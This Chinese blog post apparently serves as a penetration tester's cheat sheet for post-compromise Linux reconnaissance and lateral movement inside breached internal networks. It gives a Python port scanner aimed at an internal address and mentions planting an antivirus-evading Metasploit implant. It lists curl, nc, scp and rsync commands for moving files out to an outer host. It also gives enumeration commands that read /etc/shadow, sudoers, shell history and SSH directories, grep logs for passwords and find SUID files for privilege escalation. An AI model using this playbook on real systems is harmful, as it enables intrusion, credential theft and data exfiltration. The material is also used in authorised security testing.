linux信息搜集

说一下场景,有些情况下,拿到边界机器后纵向拓展,内网套内网,工控设备前面的内网接入点可能就是一个arm或者阉割了的linux。

一个宗旨linux下面万物皆文件

 收集到基础信息之后,内网资产收集,可以通过上传对应的frpc,npc,传msf的马子(免杀)添加路由代理socks,使用masscan+nmap进行内网空间测绘,还有一种类比于拿到windowsrdp登录权限传工具上去扫,传sh脚本或者python脚本在当前主机搜集,整理写了一个轻量化的单线程tcp扫描脚本

#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *

def portScanTu(host,port):
    try:
        s = socket(AF_INET,SOCK_STREAM)
        s.connect((host,port))
        print('[+] %d open' % port)
        s.close()
    except:
        print('[-] %d close' % port)

def main():
    setdefaulttimeout(1)
    for p in range(1,1024):
        portScanTu('172.20.1.11',p)

if __name__ == '__main__':
    main()

当目标服务器有python的话就好说了,直接通过python进行资产测绘。

还有一个痛点,如何往外传文件,可以使用ew,venom(坑点,下周采坑)进行多级代理

外层主机搭建一个接收文件服务器,使用curl传

curl 172.20.1.1:5555/ -F "file=@/haha/image/img_1579831030539.jpeg"

scp传

scp 1.tar root@192.168.2.113:/tmp

nc传

目标机(接收机器):
nc -l 1234 >mysql-bin.000001
#源机器: 文件的发送端,启动监听端口并准备好相应的文件
nc 接收机ip 1234 <  mysql-bin.000001

python起web服务往外传

python -m SimpleHTTPServer 9999
python3 -m http.server 9999

rsync传

rsync -P --rsh=ssh home.tar 192.168.205.34:/home/home.tar

当上述命令都没有时,转换一下思路,看是否有下载命令可用,直接下载上述命令

参考有关命令整理https://mp.weixin.qq.com/s/9fIzFM8vB6IgWoWatC_ICw

基础,获取内核,操作系统和设备信息

uname -a 打印所有可用的系统信息
uname -r 内核版本信息
uname -n 系统主机名字
hostname 主机名
uname -m Linux内核架构(x86/x64)
cat /proc/version 内核信息
cat /etc/*-release 发布信息
cat /etc/issue 发布信息
cat /proc/cpuinfo CPU信息
df -a 文件系统信息

查看用户和组信息

cat /etc/passwd 列出系统所有用户
cat /etc/group 列出系统所有组
cat /etc/shadow 列出所有用户hash(需要root权限)
finger、finger user 当前登录的用户、查询用户的基本信息
users 当前登录的用户
who -a 当前登录的用户
w 显示目前登入系统的用户有那些人,以及他们正在执行的程序
last 显示登入过的用户信息
lastlog 显示系统中所有用户最近一次登录信息
lastlog –u %username% 显示指定用户最后一次登入信息

用户权限信息

whoami 当前用户
id 当前用户信息
cat /etc/sudoers 可以使用sudo提升到root的用户(需要root权限)
sudo 允许普通用户执行一些或者全部的root命令的一个工具
sudo -l 列出目前用户可执行与无法执行的指令
su 切换当前用户身份到其他用户身份

环境信息

env 打印系统环境信息
set 打印系统环境信息
echo $PATH 环境变量中的路径信息
history 打印历史命令
pwd 显示当前路径
cat /etc/profile 显示默认系统遍历
cat /etc/shells 显示可用的shell

有用的命令

find / -perm -4000 -type f 查找SUID的文件
find / -uid 0 -perm -4000 -type f 查找root权限的SUID文件
find / -perm -2 -type f 找出可写的文件
find / ! -path "/proc/" -perm -2 -type f -print 查找/proc以外的可写文件
find / -perm -2 -type d 找出可写目录
find /home –name *.rhosts -print 查找rhosts的配置文件
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 查询文件并打印
ls -ahlR /root/ 查看是否有权限列用户目录
cat ~/.bash_history 查看当前用户的历史记录
ls -la ~/.*_history 查看当前用户的各种历史记录
ls -la ~/.ssh/ 查看用户ssh登录信息
ls -la /usr/sbin/in.* 检查inetd服务的配置
grep -l -i pass /var/log/*.log 查询包含pass的日志并打印匹配到的行
ls -la /etc/*.conf 列出/etc/下的所有配置文件
lsof -i -n 列出打开的文件
head /var/mail/root 答应/var/mail/root的开头

服务信息

ps aux 查看进程信息
cat /etc/inetd.conf 由inetd管理的服务列表
cat /etc/xinetd.conf 由xinetd管理的服务列表
cat /etc/exports nfs服务器的配置

作业和任务

crontab -l -u %username% 显示指定用户的计划作业(需要root权限)
ls -la /etc/cron* 计划任务
top 列出当前进程

网络、路由和通信

/sbin/ifconfig -a 列出网络接口信息
cat /etc/network/interfaces 列出网络接口信息
arp -a 查看系统arp表
route 打印如有信息
cat /etc/resolv.conf 查看dns配置信息
netstat -an 打印本地端口开放信息
iptables -L 列出iptable的配置规则
cat /etc/services 查看端口服务映射

软件信息

 

dpkg -l 软件安装(Debian)
rpm -qa 软件安装(Red Hat)
sudo -V 查看sudo的版本信息
httpd -v 查看apache的版本信息
apache2 -v 查看apache的版本信息
apache2ctl (or apachectl) -M 列出加载的apache模块
mysql --version mysql的版本信息
psql -V Postgres数据库的版本信息
perl -v perl的版本信息
java -version java的版本信息
python --version python的版本信息
ruby -v ruby的版本信息
find / -name %program_name% 查找有用的软件
which %program_name% 查找有用的软件
cat /etc/apache2/envvars 查看运行apache的帐号

 

posted @ 2020-05-29 22:22  R1card  阅读(251)  评论(0编辑  收藏  举报